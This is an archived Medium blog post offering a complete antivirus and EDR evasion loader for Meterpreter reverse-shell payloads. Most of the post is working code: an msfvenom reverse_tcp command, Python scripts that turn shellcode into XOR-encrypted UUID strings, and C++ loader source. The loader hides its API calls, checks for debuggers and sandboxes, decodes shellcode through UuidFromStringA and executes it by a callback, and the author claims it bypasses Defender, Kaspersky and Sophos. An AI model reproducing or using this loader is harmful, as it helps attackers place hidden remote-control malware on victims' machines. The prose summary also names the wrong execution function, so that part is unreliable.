← Back to list

EDR/AV EVASION

EPISODE 2 : METHOD 1 (9/70 virus total rating)

Brian Baraka Kasamba CEH · 2023-03-06 13:56 · 0 claps · 5.9 min read
#edr-evasion #av-evasion #bypass-defender #ethical-hacking
Open on Medium ↗
Wiki topics: MIC · Microbiology & Immunology 🔒 · Cybersecurity

EDR/AV EVASION

EPISODE 2 : BYPASSING WINDOWS DEFENDER

Minimizing Meterpreter Payload Detection Using Shellcode Injection. (TESTED ON VIRUS-TOTAL)

— Simply put, shell-code injection is a hacking technique where the hacker exploits vulnerable programs.Our POC doesn’t use standard functions like memcpy or WriteProcessMemory which are known to raise alarms to AVs/EDRs, this program uses the Windows API function called UuidFromStringA which can be used to decode data as well as write it to memory.

  • It uses the function call obfuscation trick to call the Windows API functions

— Particulary we will be using shellcode injection technique using C++ that attempts to bypass Windows Defender using XOR encryption sorcery and UUID strings madness :).

UUID: A universally unique identifier (UUID) is a 128-bit label used for information in computer systems

XOR encryption :XOR Encryption is an encryption method used to encrypt data and is hard to crack by brute-force method, i.e generating random encryption keys to match with the correct one.

IMPORTANT : . You have to change the default executable filename value(row 90) to your filename.(In CPP file)

.You have to change the xor key(line 85) to what you wish. This also has to be done in the ./xor_encryptor.py python3 script by changing the KEY variable.

.Mingw Compiler

  1. Firstly, generate a payload in binary format( msfvenom ) for instance, in msfvenomfor illustration purposes, you can use whatever payload you want ):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=8081 -f raw > shellcode.bin

2.Then convert the shellcode( in binary/raw format ) into a UUID string format using the Python3 script.(Conversion of Binary toUUID is beyond the scope of this blog)

Syntax:

./bin_to_uuid.py -p shellcode.bin -o uuid.txt

Python Code for Conversion of Binary to UUID

#!/usr/bin/env python3

def bin_to_uuid(bin_data, output=None):
    from uuid import UUID

    uuid_str = ''

    with open(bin_data, 'rb') as fh:
        # read in 16 bytes from the file
        data_chunk = fh.read(16)
        while data_chunk:
            # if chunk is less than 16 bytes then we pad the
            # difference with a NOP(0x90)
            if len(data_chunk) < 16:
                padding = 16 - len(data_chunk)
                data_chunk += (b'\x90' * padding)

            uuid_str = "\n".join((uuid_str, f'{UUID(bytes_le=data_chunk)}'))

            # read in more 16 bytes from the file
            data_chunk = fh.read(16)

    uuid_str = uuid_str.lstrip('\n')
    if output:
        with open(output, "w") as fh:
            fh.write(uuid_str)
    else:
        print(uuid_str)

    return

def main():
    from argparse import ArgumentParser

    parser = ArgumentParser(
        "bin_to_uuid", description="Converts binary files into legit UUID")

    parser.add_argument(
        '-p',
        '--payload',
        required=True,
        help='payload (in binary format) that is to be converted to UUID')
    parser.add_argument(
        '-o',
        '--output',
        required=False,
        help='output file for the payload that was converted to UUID')

    args = vars(parser.parse_args())

    bin_to_uuid(args['payload'], args['output'])

if '__main__' == __name__:
    main()
  1. Encrypt the UUID strings in the uuid.txt using the Python3 script,
#!/usr/bin/env python3

import sys

KEY = "CHANGEME"

class XorCipher:
    __slots__ = ("key", "_key_length", "_fname", "_ciphertext", "_plaintext")

    def __init__(self, filename: str, xor_key: str) -> None:
        self.key = str(xor_key)
        self._key_length = len(self.key)
        self._fname = filename
        self._ciphertext = ""
        self._plaintext = b""

    def _xor_crypt(self) -> None:
        i = 0
        for char in self._plaintext:
            self._ciphertext += chr(char ^ ord(self.key[i % self._key_length]))
            i += 1

    def _print_ciphertext(self) -> None:
        from textwrap import TextWrapper

        wrapper = TextWrapper(width=56, initial_indent="\n")
        xor_array = ("{ 0x" +
                     ", 0x".join(hex(ord(x))[2:].zfill(2).upper()
                                 for x in self._ciphertext) + " };")
        wrapped_xor_array = wrapper.fill(xor_array)
        print(wrapped_xor_array)

    def run(self) -> None:
        try:
            with open(self._fname, "rb") as fp:
                self._plaintext = fp.read()
        except Exception as e:
            print(f"[-] Error with specified file({self._fname}): {e}",
                  file=sys.stderr)
            sys.exit(1)
        else:
            self._xor_crypt()
            self._print_ciphertext()
            return

def main():
    # xor key should be similar to the one in the C++ file(fud-uuid-shc.cpp). Please
    # endeavour to change it!!
    # Also the "file" opened by default is the file you supply at the command line

    # NOTE: You can port this class( XorCipher ) to your own scripts neatly.
    try:
        xor_crypt = XorCipher(filename=sys.argv[1], xor_key=KEY)
    except IndexError:
        print("[-] File argument needed! \n\t%s <file_to_xor_encrypt>" %
              sys.argv[0],
              file=sys.stderr)
        sys.exit(1)
    else:
        xor_crypt.run()

if __name__ == "__main__":
    main()

4.Copy the C-style array in the file, xor_crypted_out.txt, and paste it in the C++ file as an array of unsigned char i.e. unsigned char payload[]{your_output_from_xor_crypted_out.txt}

#include <windows.h>

// ------------------
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <iostream>
#include <rpc.h>
#include <vector>
using std::vector;

// set your xor key( it should be similar to the one you used in the "xor_encryptor.py" )
#define XOR_KEY "CHANGEME"

#define EXE_NAME "lazarus.exe"

#define FAKE_OFFSET 0x1f // confuse the reverse engineer till she/he laughs at people blinking

// each single UUID string( C-style string ) comprises:
// std uuid content( 36 characters ) + NULL terminator == 37
#define UUID_LINE_LEN 37

#define LOTS_OF_MEM 250'000'000

// the MAGICAL( but random ) byte
#define MAGIC_BYTE 0xf1

// Uncomment the line below if you're using Visual Studio for compiling.
// #pragma comment(lib, "Rpcrt4.lib")

BOOL(WINAPI *pMVP)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
LPVOID(WINAPI *pMVA)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);

typedef LPVOID(WINAPI *pVirtualAllocExNuma)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType,
                                            DWORD flProtect, DWORD nndPreferred);

bool checkNUMA()
{
        LPVOID mem{NULL};
        const char k32DllName[13]{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0};
        const char vAllocExNuma[19]{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l',
                                    'o', 'c', 'E', 'x', 'N', 'u', 'm', 'a', 0x0};
        pVirtualAllocExNuma myVirtualAllocExNuma =
            (pVirtualAllocExNuma)GetProcAddress(GetModuleHandle(k32DllName), vAllocExNuma);
        mem =
            myVirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
        if (mem != NULL)
        {
                return false;
        }
        else
        {
                return true;
        }
}

bool checkResources()
{
        SYSTEM_INFO s{};
        MEMORYSTATUSEX ms{};
        DWORD procNum{};
        DWORD ram{};

        GetSystemInfo(&s);
        procNum = s.dwNumberOfProcessors;
        if (procNum < 2)
                return false;

        ms.dwLength = sizeof(ms);
        GlobalMemoryStatusEx(&ms);
        ram = ms.ullTotalPhys / 1024 / 1024 / 1024;
        if (ram < 2)
                return false;

        return true;
}

void XOR(BYTE *data, unsigned long data_len, const char *key, unsigned long key_len)
{
        unsigned long i{0x0345};
        {
                size_t i{};
                do
                {
                        i <<= FAKE_OFFSET;
                        data[i >> FAKE_OFFSET] ^= key[(i >> FAKE_OFFSET) % key_len];
                        i >>= FAKE_OFFSET;
                        ++i;
                } while (i % data_len);
        }
}

int main(int argc, char *argv[])
{
        FreeConsole();

        // payload generation:
        // 1. msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
        // 2. python ./bin_to_uuid.py -p calc.bin -o calc.uuid
        // 3. python ./xor_encryptor.py calc.uuid > calc.xor
        vector<BYTE> payload{
            //INSERT YOUR GENERATED BYTE CODE HERE // 
              };

        char key[]{XOR_KEY};

        if (strstr(argv[0], EXE_NAME) == NULL)
        {
                return -2;
        }

        if (IsDebuggerPresent())
        {
                return -2;
        }

        if (checkNUMA())
        {
                return -2;
        }

        // Uncomment if you're more interested in evading code emulators
        // if (checkResources() == false)
        // {
        //         return -2;
        // }

        const char virtProt[15]{'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0x0};

        Sleep(7500); // you could use "ekko" by crack5pider for this, i'm still lazy for this

        const char k32DllName[13]{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0};
        const char vAlloc[13]{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0};

        BYTE *junk_mem{(BYTE *)malloc(LOTS_OF_MEM)};
        if (junk_mem)
        {
                memset(junk_mem, MAGIC_BYTE, LOTS_OF_MEM);
                free(junk_mem);

#if DEBUG
                printf("Before xor: %s\n\n", payload.data());
#endif

                // a NULL terminator can cause very SERIOUS bugs so 1st remove it from the key
                XOR(payload.data(), payload.size(), key, (sizeof(key) - 1));

#if DEBUG
                printf("After xor: %s\n\n", payload.data());
#endif

                HMODULE k32_handle{GetModuleHandle(k32DllName)};
                BOOL rv{};
                char chars_array[UUID_LINE_LEN]{};
                DWORD oldprotect{0};
                char *temp{};

                pMVA = GetProcAddress(k32_handle, vAlloc);
                PVOID mem = pMVA(0, 0x100000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
                DWORD_PTR hptr = reinterpret_cast<DWORD_PTR>(mem);

                int i{}; // fool some AVs. maybe give them a detour :)
                for (temp = strtok((char *)payload.data(), "\n"); temp;)
                {
                        strncpy(chars_array, temp, UUID_LINE_LEN);
                        chars_array[UUID_LINE_LEN - 1] = 0x0; // the NULL byte :)

#if DEBUG
                        printf("Sub-string: %s\n\n", chars_array);
#endif

                        RPC_CSTR rcp_cstr = (RPC_CSTR)chars_array;
                        RPC_STATUS status = UuidFromStringA((RPC_CSTR)rcp_cstr, (UUID *)hptr);
                        if (status != RPC_S_OK)
                        {
                                fprintf(stderr, "[-] UUID conversion error: try to make sure your XOR keys match or "
                                                "correct the way you set up the payload.\n");
                                CloseHandle(mem);
                                return EXIT_FAILURE;
                        }

                        hptr += 16;
                        temp = strtok(NULL, "\n");
                }

                pMVP = GetProcAddress(k32_handle, virtProt);
                rv = pMVP(mem, 0x100000, PAGE_EXECUTE_READ, &oldprotect);
                if (!rv)
                {
                        fprintf(stderr, "[-] Failed to change the permissions for shellcode's memory\n");
                        return EXIT_FAILURE;
                }

                // attack! boom! we like planning events! :)
                EnumCalendarInfoEx((CALINFO_ENUMPROCEX)mem, LOCALE_USER_DEFAULT, ENUM_ALL_CALENDARS, CAL_SMONTHNAME1);
                CloseHandle(mem);

                // should be ready for exfil! but successful code might never reach here! :(
#if DEBUG
                printf("[+] PWNED!!\n\t\tYOU'RE IN!\n");
#endif
                return 0;
        }
        else
        {
                return EXIT_FAILURE; // survived that AV/EDR. Phew!!
        }
}

Execution

This shellcode injection technique comprises the following subsequent steps:

  • First things first, it allocates virtual memory for payload execution and residence via VirtualAlloc
  • It xor decrypts the payload using the xor key value
  • Uses UuidFromStringA to convert UUID strings into their binary representation and store them in the previously allocated memory. This is used to avoid the usage of suspicious APIs like WriteProcessMemory or memcpy.
  • Use EnumChildWindows to execute the payload previously loaded into memory( in step 1 )

WILL NOT POST FULL DETAILS TO PREVENT MISUSE BY SCRIPT KIDDIES — Basic Coding Skills to generate exe using cpp.

VIRUS-TOTAL RESULTS.

Bypasses Kaspersky , WinDefender , Sophos among other security vendors.

STAY TUNED TO THE NEXT EPISODE


메타데이터
post_id
15d5f6d4e408
slug
edr-av-evasion-15d5f6d4e408
url
https://medium.com/@brianbarakakasamba/edr-av-evasion-15d5f6d4e408
canonical_url
https://medium.com/@brianbarakakasamba/edr-av-evasion-15d5f6d4e408
author_url
https://medium.com/@brianbarakakasamba
status
ok
fetched_at
2026-07-20 20:37:08